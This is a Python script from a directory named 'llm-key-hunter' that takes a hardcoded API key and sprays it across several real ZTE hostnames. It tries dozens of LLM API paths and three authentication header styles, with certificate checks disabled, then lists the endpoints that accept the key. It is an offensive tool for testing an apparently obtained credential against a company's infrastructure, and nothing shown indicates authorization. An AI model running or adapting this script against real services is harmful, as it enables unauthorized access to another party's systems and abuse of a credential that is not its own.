Files
hack/tools/scripts/llm-key-hunter/probe_zte_focused.py
T

87 lines
3.4 KiB
Python

#!/usr/bin/env python3
"""Focused probe of newly discovered ZTE public hosts."""
import ssl, json
from urllib import request, error
from concurrent.futures import ThreadPoolExecutor
KEY = "2abd02c3-4e11-4a3b-88cf-341497e35892"
HOSTS = ["api.zx.zte.com.cn","chat.zx.zte.com.cn","apigw.zte.com.cn",
"aip.zte.com.cn","aistudio.zx.zte.com.cn"]
def req(method, url, headers=None, body=None, timeout=8):
h={"User-Agent":"Mozilla/5.0","Accept":"*/*","Connection":"close"}
if headers: h.update(headers)
data=None
if body is not None:
data=json.dumps(body).encode(); h["Content-Type"]="application/json"
r=request.Request(url,data=data,headers=h,method=method)
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
try:
with request.urlopen(r,timeout=timeout,context=ctx) as resp:
return resp.getcode(), resp.read(800).decode("utf-8","replace")
except error.HTTPError as e:
b=""
try: b=e.read(800).decode("utf-8","replace")
except Exception: pass
return e.code,b
except Exception as e:
return None,type(e).__name__
paths=["/","/v1/models","/api/v1/models","/openai/v1/models","/maas/v1/models",
"/model/qwen3-coder-480b/v1/models","/v1/chat/completions",
"/api/v1/chat/completions","/openai/v1/chat/completions",
"/maas/v1/chat/completions","/model/qwen3-coder-480b/v1/chat/completions",
"/docs","/openapi.json","/swagger/index.html","/health",
"/api","/api/v1","/v1"]
hdr_variants=[
{"Authorization":f"Bearer {KEY}"},
{"api-key":KEY},
{"Authorization":KEY},
]
def task(host, scheme, p, hs, method, body=None):
code,b=req(method,f"{scheme}://{host}{p}",hs,body)
return host,scheme,p,method,list(hs.keys()),code,b
jobs=[]
for host in HOSTS:
for scheme in ("https","http"):
for p in paths:
is_chat = "chat/completions" in p
for hs in (hdr_variants[:1] if is_chat else hdr_variants):
if is_chat:
body={"model":"qwen3-coder-480b",
"messages":[{"role":"user","content":"ping"}],
"max_tokens":5,"stream":False,"temperature":0}
jobs.append((host,scheme,p,hs,"POST",body))
else:
jobs.append((host,scheme,p,hs,"GET",None))
print(f"{len(jobs)} requests", flush=True)
results=[]
with ThreadPoolExecutor(max_workers=20) as ex:
futs=[ex.submit(task,*j) for j in jobs]
for f in futs:
results.append(f.result())
# Print non-404/non-timeout results, sorted by interest
results.sort(key=lambda r:(r[0],r[1],r[2],r[3]))
for host,scheme,p,method,hdr,code,b in results:
if code is None: continue
bl=(b or "").lower()
if code==404: continue
if "404 page not found" in bl or "<title>404" in bl:
if code==404: continue
interesting = (code==200 or code in (401,403) or
(code==400 and ("key" in bl or "auth" in bl or "model" in bl)) or
code in (405,422,500))
if interesting or code not in (200,401,403,404):
mark="***" if code==200 else f"{code}"
print(f" {mark} {method} {scheme}://{host}{p} hdr={hdr}\n -> {code} {b[:240]!r}", flush=True)
print("\n--- 200 / key-accepting ---")
for host,scheme,p,method,hdr,code,b in results:
if code==200 and "<html" not in (b or "").lower()[:200]:
print(f" 200 {method} {scheme}://{host}{p}: {b[:300]!r}")